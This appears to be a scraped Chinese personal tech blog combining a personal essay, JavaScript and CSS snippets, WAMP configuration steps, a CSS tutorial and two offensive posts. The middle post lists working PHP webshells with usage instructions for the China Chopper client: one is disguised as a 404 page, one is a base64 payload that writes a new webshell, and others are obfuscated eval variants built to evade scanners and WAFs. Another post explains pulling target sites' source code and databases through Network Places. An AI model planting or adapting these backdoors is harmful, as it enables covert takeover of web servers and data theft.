其实不知道取什么标题好----致自己 杂七杂八
其实,自己很轻松的浑浑噩噩的度过了二十多年,应该感谢上苍.没有他的宽宏大量,估计我早就say goodbye for the world ! 我的父母真的很伟大!比上苍还伟大,从我出生就一直宽容包容自己,我想他们二老的脾气估计是被我这笨拙的方式训练出来的吧,再次,对你们说一声 谢谢 ,谢谢你们的包容和宽容;想想这些年,自己除了给家人增加负担,还做过什么?
No ,nothing ! this is the truth of myself . 或许就连这简单的几句英文都有错误,呵呵,学的啥,就是这么浪费了时间,php/Java/asp.net/c#/c/大部分都是学过的.真正的掌握的又有几许?就连最基本的html和css都没搞明白.但是自己有兴趣高信息安全,喜欢渗透,提权,软件破解---只是兴趣罢了,不能当饭次,至少在自己能养活自己之前,自己的兴趣在残酷的现实面前是一文不值得(或许是 -_- ),我得认清一点.首先自己的掌握一门能够养活自己的手艺吧,二老的鬓角是越来越白了;看看自己同龄的,一天天都在到处找工作,自己也许一时会脑热,自己也去找,但是,有什么可以让HR留下你的那张空空如也的简历,这就是现实,即使别人真的技术不如你,但是别人简历上满满的全是证,HR 或许更倾向她,因为技术可以培训的,而起点是自己才能解决的,别人是帮不了你的;为了即将到来的考试,加油吧,骚年.燃烧你的小宇宙吧,让你的基友们最后都为你颤抖吧!为了自己,嗯,就这样,为了自己不在浑浑噩噩的过下去,就应该努力了,You have no choice ,but running on the way !
JavaScript获取网页高度宽度 PHP
JavaScript获取网页高度宽度
JavaScript获取网页高度宽度 function getScrollTop() { var scrollTop=0; if(document.documentElement&&document.documentElement.scrollTop) { scrollTop=document.documentElement.scrollTop; } else if(document.body) { scrollTop=document.body.scrollTop; } return scrollTop; } /******************** * 取窗口可视范围的高度 *******************/ function getClientHeight() { var clientHeight=0; if(document.body.clientHeight&&document.documentElement.clientHeight) { var clientHeight = (document.body.clientHeight<document.documentElement.clientHeight)?docum ent.body.clientHeight:document.documentElement.clientHeight; } else { var clientHeight = (document.body.clientHeight>document.documentElement.clientHeight)?docum ent.body.clientHeight:document.documentElement.clientHeight; } return clientHeight; } /******************** * 取文档内容实际高度 *******************/ function getScrollHeight() { return Math.max(document.body.scrollHeight,document.documentElement.scrollHeight); }
多说自定义CSS动感头像和多说评论显示User Agent的那些小事 PHP
# 前言
多说是一款社会化评论系统,她改变了网站与用户之间,用户与用户之间的互动方式。当然Disqus在大家心目中可能更加具有影响力,而我选择多说的原因也
很简单,一句话概括来说就是“接地气的本地化评论托管服务”。之前看到很多朋友自豪的使用WordPress时会选择多说作为第三方评论插件,民间的高手
们也根据官方的API开发出一些十分有趣的隐藏属性。因为现在自己使用GitHub+Hexo搭建的静态Blog,也希望通过多说自定义CSS和多说评论
显示User Agent让评论动感起来,文章记录了自己所执行的真实步骤,扩展阅读和原文中也会标注参考链接和注意点,embed.default.css和 embed.js文件托管在GitHub上,欢迎大家分享自己的经验,我们一起完善这些简单而有趣的小功能。
>感谢多说团队和那些无私的开发者们
---
## 更新历史
2015年04月24日 - 初稿
阅读原文 -
http://wsgzao.github.io/post/duoshuo/
扩展阅读
- duoshuo-mod - https://github.com/wsgzao/duoshuo-mod
- 出色的自定义效果展示 - http://dev.duoshuo.com/docs/4ff1cfd0397309552c000017
- HelloDog Index - http://wsgzao.github.io/index/#Hexo
---
## 多说自定义CSS
>主要参考@V说,他的文章中还分享了额外9种特效,满足大家Duang的欲望哈
多说自定义CSS 让你的多说评论动感起来 - http://www.vsay.cn/one-more-custom-css-lets-you-say-comments-city.html
### 头像水平翻转
``` css
/*Head Start*/
#ds-thread #ds-reset ul.ds-comments-tabs li.ds-tab a.ds-current {
border: 0px;
color: #6D6D6B;
text-shadow: none;
background: #F3F3F3;
}
#ds-thread #ds-reset .ds-highlight {
font-family: Microsoft YaHei, "Helvetica Neue",
Helvetica, Arial, Sans-serif;
;font-size: 100%;
color: #6D6D6B !important;
}
#ds-thread #ds-reset ul.ds-comments-tabs li.ds-tab a.ds-current:hover {
color: #696a52;
background: #F2F2F2;
}
#ds-thread #ds-reset a.ds-highlight:hover {
color: #696a52 !important;
}
#ds-thread {
padding-left: 30px;
}
#ds-thread #ds-reset li.ds-post,#ds-thread #ds-reset #ds-hot-posts {
overflow: visible;
}
#ds-thread #ds-reset .ds-post-self {
padding: 10px 0 10px 10px;
}
#ds-thread #ds-reset li.ds-post,#ds-thread #ds-reset .ds-post-self {
border: 0 !important;
}
#ds-reset .ds-avatar, #ds-thread #ds-reset ul.ds-children .ds-avatar {
top: 15px;
left: -20px;
padding: 5px;
width: 36px;
height: 36px;
box-shadow: -1px 0 1px rgba(0,0,0,.15) inset;
border-radius: 46px;
background: #FAFAFA;
}
#ds-thread .ds-avatar a {
display: inline-block;
padding: 1px;
width: 32px;
height: 32px;
border: 1px solid #b9baa6;
border-radius: 50%;
background-color: #fff !important;
}
#ds-thread .ds-avatar a:hover {
}
#ds-thread .ds-avatar > img {
margin: 2px 0 0 2px;
}
#ds-thread #ds-reset .ds-replybox {
box-shadow: none;
}
#ds-thread #ds-reset ul.ds-children .ds-replybox.ds-inline-replybox
a.ds-avatar,
#ds-reset .ds-replybox.ds-inline-replybox a.ds-avatar {
left: 0;
top: 0;
padding: 0;
width: 32px !important;
height: 32px !important;
background: none;
box-shadow: none;
}
#ds-reset .ds-replybox.ds-inline-replybox a.ds-avatar img {
width: 32px !important;
height: 32px !important;
border-radius: 50%;
}
#ds-reset .ds-replybox a.ds-avatar,
#ds-reset .ds-replybox .ds-avatar img {
padding: 0;
width: 50px !important;
height: 50px !important;
border-radius: 5px;
}
#ds-reset .ds-avatar img {
width: 32px !important;
height: 32px !important;
border-radius: 32px;
box-shadow: 0 1px 3px rgba(0, 0, 0, 0.22);
-webkit-transition: .8s all ease-in-out;
-moz-transition: .4s all ease-in-out;
-o-transition: .4s all ease-in-out;
-ms-transition: .4s all ease-in-out;
transition: .4s all ease-in-out;
}
.ds-post-self:hover .ds-avatar img {
-webkit-transform: rotateX(360deg);
-moz-transform: rotate(360deg);
-o-transform: rotate(360deg);
-ms-transform: rotate(360deg);
transform: rotate(360deg);
}
#ds-thread #ds-reset .ds-comment-body {
-webkit-transition-delay: initial;
-webkit-transition-duration: 0.4s;
-webkit-transition-property: all;
-webkit-transition-timing-function: initial;
background: #F7F7F7;
padding: 15px 15px 15px 47px;
border-radius: 5px;
box-shadow: #B8B9B9 0 1px 3px;
border: white 1px solid;
}
#ds-thread #ds-reset ul.ds-children .ds-comment-body {
padding-left: 15px;
}
#ds-thread #ds-reset .ds-comment-body p {
color: #787968;
}
#ds-thread #ds-reset .ds-comments {
border-bottom: 0px;
}
#ds-thread #ds-reset .ds-powered-by {
display: none;
}
#ds-thread #ds-reset .ds-comments a.ds-user-name {
font-weight: normal;
color: #3D3D3D !important;
}
#ds-thread #ds-reset .ds-comments a.ds-user-name:hover {
color: #D32 !important;
}
#ds-thread #ds-reset #ds-bubble {
display: none !important;
}
#ds-thread #ds-reset #ds-hot-posts {
border: 0;
}
#ds-reset #ds-hot-posts .ds-gradient-bg {
background: none;
}
#ds-thread #ds-reset .ds-comment-body:hover {
background-color: #F1F1F1;
-webkit-transition-delay: initial;
-webkit-transition-duration: 0.4s;
-webkit-transition-property: all;
-webkit-transition-timing-function: initial;
}
/*Head End*/
```
### 多说后台自定义CSS
>设置步骤超级简单,登录多说后台->设置->基本设置->自定义CSS
![](
自定义wamp_server的网站根目录 技术文章
0x0
Mrxn温馨提示,DIY有风险,请备份好数据! 在你修改某个文件之前,请先复制一个备份,总是好的!
0x1
首先你得知道你想要设置的网站的根目录路径,这个我就不予叙述了,不知道的,那也就不需要往下看了.
0X2
在第一步的基础上,我们怎么让服务器找到我们设置的网站根目录呢?下面请跟我来操作:
我们知道,PHP文件是被Apache执行的,那我们就需要修改Apache的配置文件httpd.conf如图1所示:
打开httpd.conf后,Ctrl + F 搜索: DocumentRoot 找到带有盘符安装路劲的那一行,例如我的就是: c:/wamp/www/ 这主要取决于你安装wamp_server的时候的安装路径,; 把c:/wamp/www/修改成你放置网站程序的路径,博主修改成了f:/web
接着往下大概几行就能看见: <Directory "c:/wamp/www/" 同样把路劲修改成你放置网站程序的路径,
Ctrl + S 保存,然后关闭,退出.到此,Apache设置就完成了.但是总体还没有设置完成,请往下看;
0x3
重启一下wamp_server (修给了配置文件后最好重启一下服务器,以免不生效),方法: 点击wamp_server图标,选择<重新启动所有服务>
重启完成后,检验一下配置是否生效,方法: 在网站程序文件夹里新建一个PHP文件,写上<?php echo”success !”;?> 并且命名为test.php.
打开浏览器,在地址栏输入: http://localhost/test.php 回车打开后,看到php被执行,返回如图二所示效果,则成功了:
0x4
设置后这些后,你就可以开始码砖了^_^ !
不过我这个人有点追求完美 - _- !
如图三所示的,www目录 应该是点击就可以进入我们设置的目录啊,但是现在点击后,进入的还是系统开始设置的目录!
好吧,下面我们开始修改它吧!
进入wamp_server默认目录: c:/wamp 在里面找到如图四中红框中的两个文件: wampmanager.ini & wampmanager.tpl
打开wampmanager.ini Ctrl + F 搜索menu.left 找到如图五(请点击查看大图)所示带有”www 目录”字样的内容段
“www 目录”即图三控制面板上的www 目录 我们可以修改成自己设置的网站根目录名称,例如 “Web 目录”(不带引号)
把后面的c:/wamp/www 修改成我们放置网站程序的目录,例如博主的: f:/Web 修改完成后,Ctrl + S 保存,
然后打开wampmanager.tpl Ctrl + F 搜索menu.left 找到如图六(请点击查看大图)所示的区域:
将"${w_wwwDirectory}" 修改成"Web 目录" , "${wwwDir}" 修改成 "f:/Web" 然后重启一下wamp_server服务器; 即可看到效果,我们点击www目录即可进入设置好的网站根目录.如图七:
还有不懂得请给我留言,博客留言版:https://mrxn.net
这里有word版的:点击下载 可以关注我哦!
那些强悍的PHP一句话后门 PHP
我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦。
强悍的PHP一句话后门
这类后门让网站、服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。
利用404页面隐藏PHP小马:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body></html> <?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found'); ?>
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话:
<?php session_start(); $_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']); $_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a'); ?>
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门:
<?php $_GET[a]($_GET[b]);?>
仅用GET函数就构成了木马;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门:
此方法用两个文件实现,文件1
<?php //1.php header('Content-type:text/html;charset=utf-8'); parse_str($_SERVER['HTTP_REFERER'], $a); if(reset($a) == '10'&& count($a) == 9) { eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6))))); } ?>
文件2
<?php //2.php header('Content-type:text/html;charset=utf-8'); //要执行的代码 $code= <<<CODE phpinfo(); CODE; //进行base64编码 $code= base64_encode($code); //构造referer字符串 $referer= "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i="; //后门url $url= 'http://localhost/test1/1.php'; $ch= curl_init(); $options= array( CURLOPT_URL => $url, CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer ); curl_setopt_array($ch, $options); echocurl_exec($ch); ?>
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类 似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通 过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密 结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使 后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。
以上是大概介绍,相关使用方法亦家就不在这介绍了,简单的科普一下。
三个变形的一句话PHP木马
第一个
<?php ($_=@$_GET[2]).@$_($_POST[1])?>
在菜刀里写http://site/1.php?2=assert密码是1
第二个
<?php $_=""; $_[+""]=''; $_="$_".""; $_=($_[+""]|"").($_[+""]|"").($_[+""]^""); ?> <?php ${'_'.$_}['_'](${'_'.$_}['__']);?>
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三个
($b4dboy= $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!
最后列几个高级的PHP一句话木马后门:
1、 $hh= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $hh("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 2、 $filename=$_GET['xbid']; include($filename); //危险的include函数,直接编译任何文件为php格式运行 3、 $reg="c"."o"."p"."y"; $reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]); //重命名任何文件 4、 $gzid= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; $gzid("/[discuz]/e",$_POST['h'],"Access"); //菜刀一句话 5、include($uid); //危险的include函数,直接编译任何文件为php格式运行,POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif //gif插一句话 6、典型一句话 程序后门代码 <?php eval_r($_POST[sb])?> 程序代码 <?php @eval_r($_POST[sb])?> //容错代码 程序代码 <?php assert($_POST[sb]);?> //使用lanker一句话客户端的专家模式执行相关的php语句 程序代码 <?$_POST['sa']($_POST['sb']);?> 程序代码 <?$_POST['sa']($_POST['sb'],$_POST['sc'])?> 程序代码 <?php @preg_replace("/[email]/e",$_POST['h'],"error"); ?> //使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入 程序代码 <O>h=@eval_r($_POST1);</O> 程序代码 <script language="php">@eval_r($_POST[sb])</script> //绕过<?限制的一句话
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!
如何应对PHP一句话后门:
我们强调几个关键点,看这文章的你相信不是门外汉,我也就不啰嗦了:
1,对PHP程序编写要有安全意识2,服务器日志文件要经常看,经常备份3,对每个站点进行严格的权限分配4,对动态文件及目录经常批量安全审查5,学会如何进行手工杀毒《即行为判断查杀》6,时刻关注,或渗入活跃的网络安全营地7,对服务器环境层级化处理,哪怕一个函数也可做规则
我们认为当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。
利用网上邻居巧下整站源代码 渗透测试
我们入侵站点的时候都想得到网站的源代码,然后分析代码,看看有没有漏洞。可是得到代码是很不容易的,正好我在一次偶然的机会中发现了一种可以看到代码的方法.
有时候我们访问某个网站能遇到这种情况:没有默认的页面而文件就暴露在我们面前,这种情况非常多。如下图1所示。这样我们就可以轻而易举的拿到网站的源代码了。
有人会说:你拿到这么一点点的源代码有什么用?说得对!这只是部分代码,要是我能拿到网站的全部源代码就好了!让我们来想想办法吧!
拿上面的站点作例子,让它的整站都变成可浏览的文件夹有什么方法呢?嘿嘿!我们打开网上邻居,然后找到左边上部的“添加一个网上邻居”。
然后会出现一个界面提示你选择位置,我们直接点“下一步”,会出现一个会话框让我们输入目标地址。这里我们是通过HTTP协议把它添加为“网上邻居”的,我们可以这样填写
然后点“下一步”,这个时候会有一段时间的等待。随便起个名字然后点“完成”,这个时候我们再去打开“网上邻居”,看!我们的网上邻居里面多了一位新客人!
我们打开它看看,到底都有些什么东东,嘿嘿!
看,所有的源文件都暴露在我们的面前了(注意:这里的文件是所有的可浏览目录下的源文件)。嘿嘿,爽吧?!这样对我们寻找数据库的位置非常有帮助。如果数据库直接在可浏览的目录下的话,我们就可以直接下载数据库了!
有时候我们在填完网站的地址后会碰到这种情况,如图7所示。
这就说明这个站点没有列出目录的权限,大家考虑其它的入侵方法吧!
关于css的一些基础知识积累 PHP
一:CSS的工作原理
1.基本的CSS语法
比方说,我们要用红色作为网页的背景色:
用HTML的话,我们可以这样:
<body bgcolor="#FF0000">
用CSS的话,我们可以这样获得同样的效果:
body {background-color: #FF0000;}
上例也向你展示了基本的CSS模型:
为HTML文档应用CSS,有三种方法可供选择。下面对这三种方法进行了概括。我们建议你对第三种方法(即外部样式表)予以关注。
方法1:行内样式表(style属性)
为HTML应用CSS的一种方法是使用HTML属性style。我们在上例的基础之上,通过行内样式表将页面背景设为红色:
<body style="background-color: #FF0000;">
方法2:内部样式表(style元素)
为HTML应用CSS的另一种方法是采用HTML元素style。比如像这样:
<style type="text/css">
body {background-color: #FF0000;}
</style>
方法3:外部样式表(引用一个样式表文件)
我们推荐采用这种引用外部样式表的方法。外部样式表就是一个扩展名为css的文本文件。跟其他文件一样,你可以把样式表文件放在Web服务器上或者本地硬盘上。
导入语法:
<link rel="stylesheet" type="text/css" href="style/style.css" />
注意要在href属性里给出样式表文件的地址。
这行代码必须被插入HTML代码的头部(header),即放在标签<head>和标签</head>之间。就像这样:
<html>
<head>
<title>我的文档</title>
<link rel="stylesheet" type="text/css" href="style/style.css" />
</head>
<body>
...
这个链接告诉浏览器:在显示该HTML文件时,应使用给出的CSS文件进行布局。
这种方法的优越之处在于:多个HTML文档可以同时引用一个样式表。换句话说,可以用一个CSS文件来控制多个HTML文档的布局。
这一方法可以令你省去许多工作。例如,假设你要修改某网站的所有网页(比方说有100个网页)的背景颜色,采用外部样式表可以避免你手工一一修改这100个HTML文档的工作。采用外部样式表,这样的修改只需几秒钟即可搞定——修改外部样式表文件里的代码即可。
然后,把这两个文件放在同一目录下。记得在保存文件时使用正确的扩展名(分别为“htm”和“css”)。
二:颜色与背景
前台页面背景和颜色主要包括下面内容:
· color
前景色:‘color’属性
CSS属性color用于指定元素的前景色。
例如,假设你要让页面中的所有标题(headline)都显示为深红色,而这些标题采用的都是h1元素,那么可以用下面的代码来实现把h1元素的前景色设为红色。
h1 {
color: #ff0000;
}
CSS属性background-color用于指定元素的背景色。
因为body元素包含了HTML文档的所有内容,所以,如果要改变整个页面的背景色的话,那么为body元素应用background-color属性就行了。
你也可以为其他包含标题或文本的元素单独应用背景色。在下例中,我们为body和h1元素分别应用了不同的背景色。
body {
background-color: #FFCC66;
}
h1 {
color: #990000;
background-color: #FC9804;
}
注意:我们为h1元素应用了两个CSS属性,它们之间以分号(“;”)分隔。
CSS属性background-image用于设置背景图像。
如果要把这个蝴蝶的图片作为网页的背景图像,只要在body元素上应用background-image属性、然后给出蝴蝶图片的存放位置就行了。
body {
background-color: #FFCC66;
background-image: url("butterfly.gif");
}
h1 {
color: #990000;
background-color: #FC9804;
}
注意我们指定图片存放位置的方 式:url("butterfly.gif")。这表明图片文件和样式表存放在同一目录下。你也可以引用存放在其他目录的图片,只需给出存放路径即可(比 如url("../images/butterfly.gif"));此外,你甚至可以通过给出图片的地址来引用因特网(Internet)上的图片(比如url("http://www.html.net/butterfly.gif"))。
平铺背景图像[background-repeat]
下表概括了background-repeat的四种不同取值。
值 |
描述 |
示例 |
background-repeat:repeat-x |
图像横向平铺 |
|
background-repeat:repeat-y |
图像纵向平铺 |
|
background-repeat:repeat |
图像横向和纵向都平铺 |
|
background-repeat:no-repeat |
图像不平铺 |
例如,为了避免平铺背景图像,代码应该这样:
body {
background-image: url("butterfly.gif");
background-repeat: no-repeat; }
固定背景图像[background-attachment]
CSS属性background-attachment用于指定背景图像是固定在屏幕上的、还是随着它所在的元素而滚动的。
一个固定的背景图像不会随着用户滚动页面而发生滚动(它是固定在屏幕上的),而一个非固定的背景图像会随着页面的滚动而滚动。
下表概括了background-attachment的两种不同取值。你可以点击示例察看二者的区别。
值 |
描述 |
示例 |
background-attachment:scroll |
图像会跟随页面滚动——非固定的 |
|
background-attachment:fixed |
图像是固定在屏幕上的 |
例如,下面的代码将背景图像固定在屏幕上。
body {
background-image: url("butterfly.gif");
background-repeat: no-repeat;
background-attachment: fixed;
}
放置背景图像[background-position]
缺省地,背景图像将被放在屏幕的左上角。但是,你可以通过CSS属性background-position来修改这一缺省设置,将背景图像摆放在屏幕上你觉得满意的地方。
设置background-position属性的值有多种方式。不过,它们都是坐标的格式。举例来说,值“100px 200px”表示背景图像将被放置在位于距浏览器窗口左边100像素、顶部200像素处。
坐标可以是以百分比或固定单位(比如像素、厘米等)作为单位的值,也可以是“top”、“bottom”、“center”、“left”和“right”这些值。
下表给出了一些例子。
值 |
描述 |
示例 |
background-position:2cm 2cm |
图像被放置在页面内距左边2厘米、顶部2厘米的地方 |
|
background-position:50% 25% |
图像被放置在页面内水平居中、离顶部四分之一处 |
|
background-position:top right |
图像被放置在页面的右上角 |
在下例中,背景图像被放置在页面的右下角:
body {
background-image: url("butterfly.gif");
background-repeat: no-repeat;
background-attachment: fixed;
background-position: right bottom;
}
缩写[background]
CSS属性background是上述所有与背景有关的属性的缩写用法。
使用background属性可以减少属性的数目,因此令样式表更简短易读。
比如说下面五行代码:
background-color: #FFCC66;
background-image: url("butterfly.gif");
background-repeat: no-repeat;
background-attachment: fixed;
background-position: right bottom;
如果使用background属性的话,实现同样的效果只需一行代码即可搞定:
background: #FFCC66 url("butterfly.gif") no-repeat fixed right bottom;
各个值应按下列次序来写:
[background-color] | [background-image] | [background-repeat] | [background-attachment] | [background-position]
如果省略某个属性不写出来,那么将自动为它取缺省值。比如,如果去掉background-attachment和background-position的话:
background: #FFCC66 url("butterfly.gif") no-repeat;
这两个未指定值的属性将被设置为缺省值:scroll和top left。
三:字体
CSS字体属性主要包括下面几个:
font-family,font-style,font-variant,font-weight,font-size
,font
字体族[font-family]
CSS属性font-family的作用是设置一组按优先级排序的字体列表,如果该列表中的第一个字体未在访问者计算机上安装,那么就尝试列表中的下一个字体,依此类推,直到列表中的某个字体是已安装的。
有两种类型的名称可用于分类字体:字体族名称(family-name)和族类名称(generic family)。下面来解释这两个术语。
字体族名称(就是我们通常所说的“字体”)的例子包括“Arial”、“Times New Roman”、“宋体”、“黑体”等等。
一个族类是一组具有统一外观的字体族。sans-serif就是一例,它代表一组没有“脚”的字体。
你在给出字体列表时,自然应把首选字体放在前面、把候选字体放在后面。建议你在列表的最后给出一个族类(generic family),这样,当没有一个指定字体可用时,页面至少可以采用一个相同族类的字体来显示。
下面是一个按优先级排列的字体列表的例子:
h1 {font-family: arial, verdana, sans-serif;}
h2 {font-family: "Times New Roman", serif;}
h1标题将采用Arial字体显示。如果访问者的计算机未安装Arial,那么就使用Verdana字体。假如Verdana字体也没安装的话,那么将采用一个属于sans-serif族类的字体来显示这个h1标题。
注意我们为“Times New Roman”采用的写法:因为其中包含空格,所以我们用引号将它括起来。
字体样式[font-style]
CSS属性font-style定义所选字体的显示样式:normal(正常)、italic(斜体)或oblique(倾斜)。在下例中,所有h2标题都将显示为斜体。
h2 {font-family: "Times New Roman", serif; font-style: italic;}
字体变化[font-variant]
CSS属性font-variant的值可以是:normal(正常)或small-caps(小体大写字母)。small-caps字体是一种以小尺寸显示的大写字母来代替小写字母的字体。不太明白?我们来看几个例子:
如果font-variant属性被设置为small-caps,而没有可用的支持小体大写字母的字体,那么浏览器多半会将文字显示为正常尺寸(而不是小尺寸)的大写字母。
h1 {font-variant: small-caps;}
h2 {font-variant: normal;}
字体浓淡[font-weight]
CSS属性font-weight指定字体显示的浓淡程度。其值可以是normal(正常)或bold(加粗)。有些浏览器甚至支持采用100到900之间的数字(以百为单位)来衡量字体的浓淡。
p {font-family: arial, verdana, sans-serif;}
td {font-family: arial, verdana, sans-serif; font-weight: bold;}
字体大小[font-size]
字体的大小用CSS属性font-size来设置。
字体大小可通过多种不同单位(比如像素或百分比等)来设置。在本教程中,我们将关注于最常用和最合适的单位。比如:
h1 {font-size: 30px;}
h2 {font-size: 12pt;}
h3 {font-size: 120%;}
p {font-size: 1em;}
上面四种单位有着本质的区别。‘px’和‘pt’将字体设置为固定大小,而‘%’和‘em’允许页面浏览者自行调整字体的显示尺寸
缩写[font]
CSS属性font是上述各有关字体的CSS属性的缩写用法。
比如说下面四行应用于p元素的代码:
p {
font-style: italic;
font-weight: bold;
font-size: 30px;
font-family: arial, sans-serif;
}
如果用font属性的话,上述四行代码可简化为:
p {font: italic bold 30px arial, sans-serif; }
font属性的值应按以下次序书写:
font-style | font-variant | font-weight | font-size | font-family
四:文本
文本主要包括下列CSS属性:
text-indent.,text-align,text-decoration,letter-spacing.
文本缩进[text-indent]
CSS属性text-indent用于为段落设置首行缩进,以令其具有美观的格式。在下例中,我们为采用p元素的段落应用了30像素的首行缩进。
p {text-indent: 30px;}
文本对齐[text-align]
CSS属性text-align与HTML属性align的功能相同。该属性的值可以是:left(左对齐)、right(右对齐)或者center(居中)。除了上面三种选择以外,你还可以将该属性的值设为justify(两端对齐),即伸缩行中的文字以左右靠齐。报刊杂志经常采用这种布局。
在下例中,标题(th)中的文字被设置为右对齐,而表中数据(td) 被设置为居中。正常的文本段落被设置为两端对齐。
th {text-align: right;}
td {text-align: center;}
p {text-align: justify; }
文本装饰[text-decoration]
CSS属性text-decoration令我们可以为文本增添不同的“装饰”或“效果”。例如,你可以为文本增添下划线、删除线、上划线等等。在接下来的例子中,我们为h1标题增添了下划线,为h2标题增添了上划线,为h3标题增添了删除线。
h1 {text-decoration: underline;}
h2 {text-decoration: overline;}
h3 {text-decoration: line-through;}
字符间距[letter-spacing]
CSS属性letter-spacing用于设置文本的水平字间距。我们可以把期望的字间距宽度作为这个属性的值。例如,假如你希望p元素里的文本段落的字间距为3个像素,而h1标题的字间距为6个像素,代码可以这样写:
h1 {letter-spacing: 6px; }
p {letter-spacing: 3px;}
文本转换[text-transform]
CSS属性text-transform用于控制文本的大小写。无论字母本来的大小写,你可以通过该属性令它首字母大写(capitalize)、全部大写(uppercase)或者全部小写(lowercase)。
比如,单词“headline”在展现给网页浏览者时,可以是“HEADLINE”或者“Headline”。
text-transform属性有四个可选值:
capitalize将每个单词的首字母转换为大写。
uppercase所有字母都转换为大写。
lowercase所有字母都转换为小写
none不作任何转换——文本怎么写的就怎么显示。
五:链接
在前面讲到的属性也可以应用到链接上(比如修改颜色、字体、添加下划线等)。但不同的是,CSS允许你根据链接是未访问的、已访问的、活动的、是否有鼠标悬停等分别定义不同的属性。这样,我们便可为网站增添奇特而有用的效果。你需要通过伪类(pseudo-class)来控制这些效果。
伪类是什么?
伪类(pseudo-class)令你可以在为HTML元素定义CSS属性的时候将条件和事件考虑在内。
我们来看一个例子。正如你所知道的,在HTML里,链接是通过a元素来定义的。因此,在CSS里,我们可以将a作为一个选择器
a {color: blue;}
一个链接可以有不同的状态。例如,它可以是已访问过的,也可以是未访问过的。你可以通过伪类分别为访问过的链接和未访问过的链接设置不同的样式。
a:link {color: blue;}
a:visited {color: red;}
为未访问过的链接和已访问过的链接分别使用伪类a:link和a:visited。活动的链接对应的伪类为a:active,有鼠标悬停的链接对应的伪类为a:hover。
伪类: active
伪类:active用于活动的链接(即获得当前焦点的链接)。
a:active {background-color: #FFFF00;}
伪类: hover用于有鼠标悬停的链接。
如果你要当鼠标光标移到链接上时将链接显示为橙色斜体,那么CSS可以这样写:
a:hover {color: orange;
font-style: italic; }
如何去掉链接的下划线是一个常见的问题。
a {text-decoration:none;}
六:元素的分类与标识(class和id)
1.用class对元素进行分类
我们希望白葡萄酒的链接全部显示为黄色,红葡萄酒的链接全部显示为红色,其余的链接显示为缺省的兰色。为了实现这一要求,我们将链接分为两类。对链接的分类是通过为链接设置HTML属性class实现的。参加如下代码:
<p>制造白葡萄酒的葡萄:</p>
<ul>
<li><a href="ri.htm" class="whitewine">雷司令(Riesling)</a></li>
<li><a href="ch.htm" class="whitewine">夏敦埃(Chardonnay)</a></li>
<li><a href="pb.htm" class="whitewine">白比诺(Pinot Blanc)</a></li>
</ul>
<p>制造红葡萄酒的葡萄:</p>
<ul>
<li><a href="cs.htm" class="redwine">卡百内索维农(Cabernet Sauvignon)</a></li>
<li><a href="me.htm" class="redwine">墨尔乐(Merlot)</a></li>
<li><a href="pn.htm" class="redwine">黑比诺(Pinot Noir)</a></li>
</ul>
然后,我们就可以为白葡萄酒和红葡萄酒的链接分别应用不同的风格了。
a {color: blue;}
a.whitewine {color: #FFBB00;}
a.redwine {color: #800000; }
如上例所示,你可以通过在样式表里利用.classname来为属于某一类的元素定义CSS属性。
利用id标识元素
